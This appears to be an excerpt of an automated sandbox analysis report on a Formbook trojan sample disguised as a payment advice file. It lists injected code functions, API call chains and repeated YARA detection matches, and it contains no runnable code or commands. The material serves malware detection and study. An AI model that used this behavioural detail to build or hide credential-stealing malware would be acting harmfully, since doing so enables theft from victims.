Source: C:\Windows\SysWOW64\cmd.exe	Code function: 16_2_037D2F28	16_2_037D2F28
Source: C:\Windows\SysWOW64\cmd.exe	Code function: 16_2_0379CFE0	16_2_0379CFE0
Source: C:\Windows\SysWOW64\cmd.exe	Code function: 16_2_03782FC8	16_2_03782FC8
Source: C:\Windows\SysWOW64\cmd.exe	Code function: 16_2_03832F30	16_2_03832F30
Source: C:\Windows\SysWOW64\cmd.exe	Code function: 16_2_03804F40	16_2_03804F40
Source: C:\Windows\SysWOW64\cmd.exe	Code function: 16_2_0384CE93	16_2_0384CE93
Source: C:\Windows\SysWOW64\cmd.exe	Code function: 16_2_03790E59	16_2_03790E59
Source: C:\Windows\SysWOW64\cmd.exe	Code function: 16_2_0384EEDB	16_2_0384EEDB
Source: C:\Windows\SysWOW64\cmd.exe	Code function: 16_2_0384EE26	16_2_0384EE26
Source: C:\Windows\SysWOW64\cmd.exe	Code function: 16_2_037A2E90	16_2_037A2E90
Source: C:\Windows\SysWOW64\cmd.exe	Code function: 16_2_0379AD00	16_2_0379AD00
Source: C:\Windows\SysWOW64\cmd.exe	Code function: 16_2_0378ADE0	16_2_0378ADE0
Source: C:\Windows\SysWOW64\cmd.exe	Code function: 16_2_0382CD1F	16_2_0382CD1F
Source: C:\Windows\SysWOW64\cmd.exe	Code function: 16_2_037A8DBF	16_2_037A8DBF
Source: C:\Windows\SysWOW64\cmd.exe	Code function: 16_2_03830CB5	16_2_03830CB5
Source: C:\Windows\SysWOW64\cmd.exe	Code function: 16_2_03790C00	16_2_03790C00
Source: C:\Windows\SysWOW64\cmd.exe	Code function: 16_2_03780CF2	16_2_03780CF2
Source: C:\Windows\SysWOW64\cmd.exe	Code function: 16_2_0377D34C	16_2_0377D34C
Source: C:\Windows\SysWOW64\cmd.exe	Code function: 16_2_0384132D	16_2_0384132D
Source: C:\Windows\SysWOW64\cmd.exe	Code function: 16_2_037D739A	16_2_037D739A
Source: C:\Windows\SysWOW64\cmd.exe	Code function: 16_2_038312ED	16_2_038312ED
Source: C:\Windows\SysWOW64\cmd.exe	Code function: 16_2_037AB2C0	16_2_037AB2C0
Source: C:\Windows\SysWOW64\cmd.exe	Code function: 16_2_037952A0	16_2_037952A0
Source: C:\Windows\SysWOW64\cmd.exe	Code function: 16_2_0377F172	16_2_0377F172
Source: C:\Windows\SysWOW64\cmd.exe	Code function: 16_2_037C516C	16_2_037C516C
Source: C:\Windows\SysWOW64\cmd.exe	Code function: 16_2_0379B1B0	16_2_0379B1B0
Source: C:\Windows\SysWOW64\cmd.exe	Code function: 16_2_0385B16B	16_2_0385B16B
Source: C:\Windows\SysWOW64\cmd.exe	Code function: 16_2_0383F0CC	16_2_0383F0CC
Source: C:\Windows\SysWOW64\cmd.exe	Code function: 16_2_0384F0E0	16_2_0384F0E0
Source: C:\Windows\SysWOW64\cmd.exe	Code function: 16_2_038470E9	16_2_038470E9
Source: C:\Windows\SysWOW64\cmd.exe	Code function: 16_2_037970C0	16_2_037970C0
Source: C:\Windows\SysWOW64\cmd.exe	Code function: 16_2_0384F7B0	16_2_0384F7B0
Source: C:\Windows\SysWOW64\cmd.exe	Code function: 16_2_038416CC	16_2_038416CC
Source: C:\Windows\SysWOW64\cmd.exe	Code function: 16_2_037D5630	16_2_037D5630
Source: C:\Windows\SysWOW64\cmd.exe	Code function: 16_2_0382D5B0	16_2_0382D5B0
Source: C:\Windows\SysWOW64\cmd.exe	Code function: 16_2_038595C3	16_2_038595C3
Source: C:\Windows\SysWOW64\cmd.exe	Code function: 16_2_03847571	16_2_03847571
Source: C:\Windows\SysWOW64\cmd.exe	Code function: 16_2_03781460	16_2_03781460
Source: C:\Windows\SysWOW64\cmd.exe	Code function: 16_2_0384F43F	16_2_0384F43F
Source: C:\Windows\SysWOW64\cmd.exe	Code function: 16_2_03805BF0	16_2_03805BF0
Source: C:\Windows\SysWOW64\cmd.exe	Code function: 16_2_037CDBF9	16_2_037CDBF9
Source: C:\Windows\SysWOW64\cmd.exe	Code function: 16_2_0384FB76	16_2_0384FB76
Source: C:\Windows\SysWOW64\cmd.exe	Code function: 16_2_037AFB80	16_2_037AFB80
Source: C:\Windows\SysWOW64\cmd.exe	Code function: 16_2_03831AA3	16_2_03831AA3
Source: C:\Windows\SysWOW64\cmd.exe	Code function: 16_2_0382DAAC	16_2_0382DAAC
Source: C:\Windows\SysWOW64\cmd.exe	Code function: 16_2_0383DAC6	16_2_0383DAC6
Source: C:\Windows\SysWOW64\cmd.exe	Code function: 16_2_03847A46	16_2_03847A46
Source: C:\Windows\SysWOW64\cmd.exe	Code function: 16_2_0384FA49	16_2_0384FA49
Source: C:\Windows\SysWOW64\cmd.exe	Code function: 16_2_037D5AA0	16_2_037D5AA0
Source: C:\Windows\SysWOW64\cmd.exe	Code function: 16_2_03803A6C	16_2_03803A6C
Source: C:\Windows\SysWOW64\cmd.exe	Code function: 16_2_03799950	16_2_03799950
Source: C:\Windows\SysWOW64\cmd.exe	Code function: 16_2_037AB950	16_2_037AB950
Source: C:\Windows\SysWOW64\cmd.exe	Code function: 16_2_03825910	16_2_03825910
Source: C:\Windows\SysWOW64\cmd.exe	Code function: 16_2_037FD800	16_2_037FD800
Source: C:\Windows\SysWOW64\cmd.exe	Code function: 16_2_037938E0	16_2_037938E0
Source: C:\Windows\SysWOW64\cmd.exe	Code function: 16_2_0384FFB1	16_2_0384FFB1
Source: C:\Windows\SysWOW64\cmd.exe	Code function: 16_2_0384FF09	16_2_0384FF09
Source: C:\Windows\SysWOW64\cmd.exe	Code function: 16_2_03753FD5	16_2_03753FD5
Source: C:\Windows\SysWOW64\cmd.exe	Code function: 16_2_03753FD2	16_2_03753FD2
Source: C:\Windows\SysWOW64\cmd.exe	Code function: 16_2_03791F92	16_2_03791F92
Source: C:\Windows\SysWOW64\cmd.exe	Code function: 16_2_03799EB0	16_2_03799EB0
Source: C:\Windows\SysWOW64\cmd.exe	Code function: 16_2_03793D40	16_2_03793D40
Source: C:\Windows\SysWOW64\cmd.exe	Code function: 16_2_037AFDC0	16_2_037AFDC0
Source: C:\Windows\SysWOW64\cmd.exe	Code function: 16_2_03841D5A	16_2_03841D5A
Source: C:\Windows\SysWOW64\cmd.exe	Code function: 16_2_03847D73	16_2_03847D73
Source: C:\Windows\SysWOW64\cmd.exe	Code function: 16_2_0384FCF2	16_2_0384FCF2
Source: C:\Windows\SysWOW64\cmd.exe	Code function: 16_2_03809C32	16_2_03809C32
Source: C:\Windows\SysWOW64\cmd.exe	Code function: 16_2_02B6E5BB	16_2_02B6E5BB
Source: C:\Windows\SysWOW64\cmd.exe	Code function: 16_2_02B6D563	16_2_02B6D563
Source: C:\Windows\SysWOW64\cmd.exe	Code function: 16_2_02B6DB3B	16_2_02B6DB3B
Source: C:\Windows\SysWOW64\cmd.exe	Code function: 16_2_02B6E81C	16_2_02B6E81C
Source: C:\Windows\SysWOW64\cmd.exe	Code function: 16_2_02B59E50	16_2_02B59E50
Source: C:\Windows\SysWOW64\cmd.exe	Code function: 16_2_02B59E4F	16_2_02B59E4F
Source: C:\Windows\SysWOW64\cmd.exe	Code function: 16_2_02B52FB0	16_2_02B52FB0
Source: C:\Windows\SysWOW64\cmd.exe	Code function: 16_2_02B6DF8B	16_2_02B6DF8B
Source: C:\Windows\SysWOW64\cmd.exe	Code function: 16_2_02B52D90	16_2_02B52D90
Source: C:\Windows\SysWOW64\cmd.exe	Code function: 16_2_02B52D88	16_2_02B52D88
Source: C:\Windows\SysWOW64\cmd.exe	Code function: 16_2_02B6DDCE	16_2_02B6DDCE

Source: C:\Users\user\AppData\Local\Temp\RarSFX0\ewdbwwfpdh.bmp

Code function: 6_2_001D1A91 LogonUserW,DuplicateTokenEx,CloseHandle,OpenWindowStationW,GetProcessWindowStation,SetProcessWindowStation,OpenDesktopW,_wcslen,LoadUserProfileW,CreateEnvironmentBlock,CreateProcessAsUserW,UnloadUserProfile,GetProcessHeap,HeapFree,CloseWindowStation,CloseDesktop,SetProcessWindowStation,CloseHandle,DestroyEnvironmentBlock,

6_2_001D1A91

Source: C:\Users\user\Desktop\Payment_Advice.exe	Section loaded: <pi-ms-win-core-synch-l1-2-0.dll	Jump to behavior
Source: C:\Users\user\Desktop\Payment_Advice.exe	Section loaded: <pi-ms-win-core-fibers-l1-1-1.dll	Jump to behavior
Source: C:\Users\user\Desktop\Payment_Advice.exe	Section loaded: <pi-ms-win-core-synch-l1-2-0.dll	Jump to behavior
Source: C:\Users\user\Desktop\Payment_Advice.exe	Section loaded: <pi-ms-win-core-fibers-l1-1-1.dll	Jump to behavior
Source: C:\Users\user\Desktop\Payment_Advice.exe	Section loaded: <pi-ms-win-core-localization-l1-2-1.dll	Jump to behavior
Source: C:\Users\user\Desktop\Payment_Advice.exe	Section loaded: dxgidebug.dll	Jump to behavior

Source: Payment_Advice.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: 14.2.RegSvcs.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 14.2.RegSvcs.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 14.2.RegSvcs.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 14.2.RegSvcs.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 14.2.RegSvcs.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 14.2.RegSvcs.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 00000010.00000002.3843232274.0000000003390000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 00000010.00000002.3843232274.0000000003390000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000010.00000002.3843232274.0000000003390000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 00000006.00000003.1581336819.000000000106B000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 00000006.00000003.1581336819.000000000106B000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000006.00000003.1581336819.000000000106B000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 00000006.00000003.1578728915.000000000106C000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 00000006.00000003.1578728915.000000000106C000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000006.00000003.1578728915.000000000106C000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 00000006.00000003.1578835292.00000000010C7000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 00000006.00000003.1578835292.00000000010C7000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000006.00000003.1578835292.00000000010C7000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 00000006.00000003.1578787008.000000000109A000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 00000006.00000003.1578787008.000000000109A000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000006.00000003.1578787008.000000000109A000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 00000006.00000003.1579705407.00000000010E2000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 00000006.00000003.1579705407.00000000010E2000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000006.00000003.1579705407.00000000010E2000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 00000006.00000003.1580860266.000000000109A000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 00000006.00000003.1580860266.000000000109A000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000006.00000003.1580860266.000000000109A000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 00000010.00000002.3842416015.0000000002B50000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 00000010.00000002.3842416015.0000000002B50000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000010.00000002.3842416015.0000000002B50000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 00000010.00000002.3842825880.0000000002F50000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 00000010.00000002.3842825880.0000000002F50000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000010.00000002.3842825880.0000000002F50000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 00000006.00000003.1581247037.000000000103D000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 00000006.00000003.1581247037.000000000103D000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000006.00000003.1581247037.000000000103D000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 0000000F.00000002.3875577794.00000000106B5000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_772cc62d os = windows, severity = x86, creation_date = 2022-05-23, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8343b5d02d74791ba2d5d52d19a759f761de2b5470d935000bc27ea6c0633f5, id = 772cc62d-345c-42d8-97ab-f67e447ddca4, last_modified = 2022-07-18
Source: 0000000E.00000002.1647692265.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 0000000E.00000002.1647692265.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 0000000E.00000002.1647692265.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: Process Memory Space: ewdbwwfpdh.bmp PID: 6052, type: MEMORYSTR	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: Process Memory Space: RegSvcs.exe PID: 6108, type: MEMORYSTR	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: Process Memory Space: cmd.exe PID: 636, type: MEMORYSTR	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23

Source: C:\Users\user\AppData\Local\Temp\RarSFX0\ewdbwwfpdh.bmp

Code function: 6_2_001DF122 ExitWindowsEx,InitiateSystemShutdownExW,SetSystemPowerState,

6_2_001DF122

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: String function: 01727E54 appears 111 times
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: String function: 0174EA12 appears 86 times
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: String function: 0175F290 appears 105 times
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: String function: 016CB970 appears 280 times
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: String function: 01715130 appears 58 times
Source: C:\Users\user\Desktop\Payment_Advice.exe	Code function: String function: 0051EB78 appears 39 times
Source: C:\Users\user\Desktop\Payment_Advice.exe	Code function: String function: 0051F5F0 appears 31 times
Source: C:\Users\user\Desktop\Payment_Advice.exe	Code function: String function: 0051EC50 appears 56 times
Source: C:\Windows\SysWOW64\cmd.exe	Code function: String function: 037FEA12 appears 86 times
Source: C:\Windows\SysWOW64\cmd.exe	Code function: String function: 037C5130 appears 58 times
Source: C:\Windows\SysWOW64\cmd.exe	Code function: String function: 0380F290 appears 105 times
Source: C:\Windows\SysWOW64\cmd.exe	Code function: String function: 0377B970 appears 280 times
Source: C:\Windows\SysWOW64\cmd.exe	Code function: String function: 037D7E54 appears 111 times
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\ewdbwwfpdh.bmp	Code function: String function: 0018FD60 appears 40 times
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\ewdbwwfpdh.bmp	Code function: String function: 00190DC0 appears 46 times

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_0041A320 NtCreateFile,	14_2_0041A320
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_0041A3D0 NtReadFile,	14_2_0041A3D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_0041A450 NtClose,	14_2_0041A450
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 14_2_0041A500 NtAllocateVirtualMemory,	14_2_0041A500
